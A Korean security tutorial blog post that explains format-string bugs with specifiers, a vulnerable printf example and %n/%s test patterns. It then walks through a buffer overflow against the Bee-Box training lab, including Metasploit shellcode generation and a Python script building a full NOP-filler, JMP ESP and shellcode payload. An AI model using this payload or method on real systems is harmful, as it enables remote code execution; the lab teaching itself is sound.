기준

공격 방법

매개변수
형식
%d
정수형 10진수 상수(integer)
%f
실수형 상수(float)
%lf
실수형 상수(double)
%c
문자 값(char)
%s
문자 스트링((const)(unsigned) char *)
%u
10진수 양의 정수
%o
8진수 양의 정수
%x
16진수 양의 정수
%s
문자열
%n
int*(총 비트 수). 문자가 출력되기 시작해서 "%n" 이 나오는 시점까지의 출력해야 할 문자들의 개수를 세어 주어진 변수에 저장하는 역할을 한다. 포맷 스트링 공격에 이용된다.
%hn
%n의 반인 2바이트 단위. 포맷 스트링 공격에 이용된다.

포맷 스트링 공격의 변수 형식입니다.

  • printf
  • sprintf / snprintf
  • fprintf
  • vprintf / vfprintf
  • vsprintf / vsnprintf

표준 C 라이브러리에서 포맷 스트링을 사용하는 대표적인 함수들입니다.

위의 변수와 함수를 보더라도 이해하기 어려운 부분이 많습니다.

포맷 스트링은 위의 함수에서 개발자가 지정한 함수가 아닌 사용자로부터 스트링 해서 받을 때 일어날 수 있는 취약점입니다.

 

예 )

#include <stdio.h>

int main(void) {

char buf[100] = {0, };

read(0, buf, 100);

 

printf(buf);}

 

위와 같은 C가 있다고 하면 buf를 사용자로부터 100바이트까지 입력받을 수 있는 구조입니다.

 

하지만, 여기에서 printf함수에 사용자 입력값(asdf)이 적용될 때 printf("asdf")와 같이 입력됩니다.

이때 입력 값이 매개변수(%x %d)로 입력된다면 printf("%x %d")와 같이 입력되는 것입니다.

 

위에서 읽었다시피 %x는 16진수이며 %n은 10진수인데 printf와 만나 출력합니다.

이때 사용자의 입력값은 평범한 사용자의 입력값이 아닌 포맷 스트링으로 적용됩니다.

%x는 버퍼의 주소를 불러오게 되고 %d는 버퍼에서 얼마나 입력받을 수 있는지 알게 되는 것입니다.

 

패턴 1 - %n%n%n%n%n%n%n%n%n%n,

패턴 2 - %s%s%s%s%s%s%s%s%s%s,

패턴 3 - %1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n!

패턴 4 - %1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s!

 

위의 패턴은 주통가이드에서 권고하고 있는 패턴입니다.

위의 패턴과 달리 %n을 이용하여 공격자가 의도하는 악성 패턴이 있는 주소로 RET 하는 방법도 있습니다.

 

이처럼 print함수로 인해 발생되는 취약점인데 이는 개발자의 실수로 인해 발생되는 경우가 많지만 소스를 보고 분석한다면 충분히 발생 가능한 취약점입니다.

 

포맷 스트링은 print함수의 사용자 입력 값을 매개 변수로 오해하여 %d를 입력했을 때, 메모리에 있는 값을 10진수로 출력하고 %s는 문자열로, %x는 16진수로 출력하는 것이라 생각합니다.

 

(개인적으로 설명을 하기 위한 자료를 찾기 어려운 취약점이었습니다ㅠㅠ)

 

취약점 발굴 시에 보통 사용자의 입력 값을 매개변수를 정하지 않고 받는다면 취약점이 있을 확률이 매우 높다고 생각하면 될 것 같습니다.

 

제 설명이 붕 뜬부분이 많다고 생각돼서 공부할 수 있는 URL을 첨부하여 드립니다.

 

참고 : 

https://dreamhack.io/learn/12#4

 

로그인 | Dreamhack

 

dreamhack.io

https://dreamhack.io/learn/3#t194

 

로그인 | Dreamhack

 

dreamhack.io

테스트 방법을 말하기에 앞서 각 취약점 확인 방법이 아닌 취약점을 활용한 공격에 중점을 두고 있습니다.

 

기준

KISA에서 발표하고 있는 '주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세 가이드'입니다.

(※'주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세 가이드'를 '주통가이드'로 부르겠습니다.※)

주통가이드의 1. 버퍼 오버플로우의 개요, 점검대상 및 판단기준, 점검 및 조치 사례가 나와있는데 가이드에서 다루는 점검 방법은 아주 간단하게 적혀있으며 오버플로우의 방법은 "대량의 문자 열을 입력"하는 것으로 적혀있습니다.

 

하지만 공격입장에서 생각할 경우 대량의 문자열을 넣는 것은 공격자가 명령어를 실행시키는 것이 아닌 Dos 공격에 가까우며 실제로 위협이 되는가에 대해서는 생각하기 어렵습니다.

 

버퍼 오버플로우(BOF)는 데이터 삽입 시 데이터가 버퍼 내 작성되는 동안 공격자에 의해 버퍼의 영역을 벗어나 공격자가 원하는 코드를 실행할 수 있는 취약점이므로 매우 위험한 취약점입니다.

 

이와 관련하여 대량의 문자열을 삽입하는 것이 아닌 공격하는 방법에 관해 작성해보려 합니다.

 

공격 방법

방법은 여러가지가 있겠지만 메타스플로잇을 이용해서 진행해보겠습니다.

(공격 환경 :Bee-Box)

Bee-Box 설치 방법 : https://securityspecialist.tistory.com/112

 

비박스(bee-box) 설치 방법

1. 비박스(bee-box) 설치 1_1) 아래 경로로 접속합니다. 경로 : https://sourceforge.net/projects/bwapp/files/bee-box/ bWAPP - Browse /bee-box at SourceForge.net × sourceforge.net 1_2) bee-box_v1.6.7z..

securityspecialist.tistory.com

아이디 / 비밀번호는 bee / bug입니다.

위에 보면 HINT에 \x90*354 + \x8f\x92\x04\x08 + [payload]를 확인할 수 있을 것입니다.

해석을 해보면 "[NOP]*354 + JMP ESP + [payload]"로 nop코드 354개와 리턴 포인트 다음에 페이로드가 실행된다는 얘기를 하고 있습니다.

소스 내에 파일의 주소가 있으므로 파일의 소스를 확인해봅시다.

소스 중 app/movie_search를 확인할 수 있는데 여기에서 shell실행이 가능할 것으로 보이며 title를 통해 입력할 수 있을 것 같습니다.

 

위에서 확인한 힌트처럼 354개의 NOP을 사용하는 경우는 NOP이 삽입 시에 블랭크로 들어가고 1개를 차지하므로 들어간 것입니다.

하지만 다른 코드를 활용하여 작성 가능하기도 합니다.

참고 : https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=kings_and&logNo=221357913321 

 

Kali Linux(칼리 리눅스)의 Metasploit(메타스플로잇) update(업데이트) 및 사용하기

안녕하세요 이번 포스팅에서는 Kali Linux(칼리 리눅스)의 Metasploit(메타스플로잇)의 업데이트 및 기...

blog.naver.com

 

위의 업데이트 방법을 참고하여 진행해 주셔도 괜찮습니다.

이제부터 확인한 정보를 근거로 ShellCode를 작성합니다.

모듈을 사용하여 shell명령어를 기계어로 뽑아내줍니다.

-b '\x00' 은 Bad Character는 \x00으로 이것은 넣지 말라는 옵션입니다.

generate -b '\x00' -e x86/opt_sub -f raw -o /tmp/rokefoke.txt

위 명령어는 작성한 쉘 코드를 기계어로 변환하여 rokefoke.txt에 저장하라는 명령어입니다.

저장 후 txt 파일을 확인하면 위와 같이 읽기 어려운 글을 볼 수 있습니다.

{ echo -n \'; cat rokefoke.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'

위의 명령어로 ASCII 코드 16진수로 변환합니다.

dummy = '%41' * 354
jmpesp = '%8f%92%04%08'
shellcode = '%27%54%58%2D%DD%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%23%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%01%8B%E1%D9%2D%01%01%01%01%2D%01%01%01%01%50%2D%EB%0D%42%05%2D%01%01%01%01%2D%01%01%01%01%50%2D%FE%40%FE%08%2D%01%01%01%01%2D%01%01%01%01%50%2D%72%1E%CA%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%50%5F%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%85%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D%01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27'

payload = shellcode[:3] + dummy + jmpesp + shellcode [3:]

print(payload)

위의 코드는 더미 코드를 삽입하여 작성하는 파이썬 코드입니다.

dummy는 힌트에서 [NOP]값을 354개 넣는 부분을 말하고 있으며 jmpesp는 RET값 즉 반환 주소입니다.

(※NOP을 넣지 않은 것은 지금은 거의 사용하고 있지 않기 때문입니다. %41 = a※)

이 뒤에 쉘 코드를 실행하는 payload를 집어넣은 것입니다.

또한 :3과 3:로 앞과 뒤의 코드를 먼저와 뒤에 넣어주었는데 이것은 %27로 '<-----이것입니다.

이를 실행하면 위와 같이 더미 코드가 포함된 코드가 완성됩니다.

위와 같이 처음 확인했던 파라미터 값에 완성된 더미 코드를 삽입시켜 줍니다.

그럼 오버플로우 되어 실행되는 것을 확인할 수 있습니다.

+ Recent posts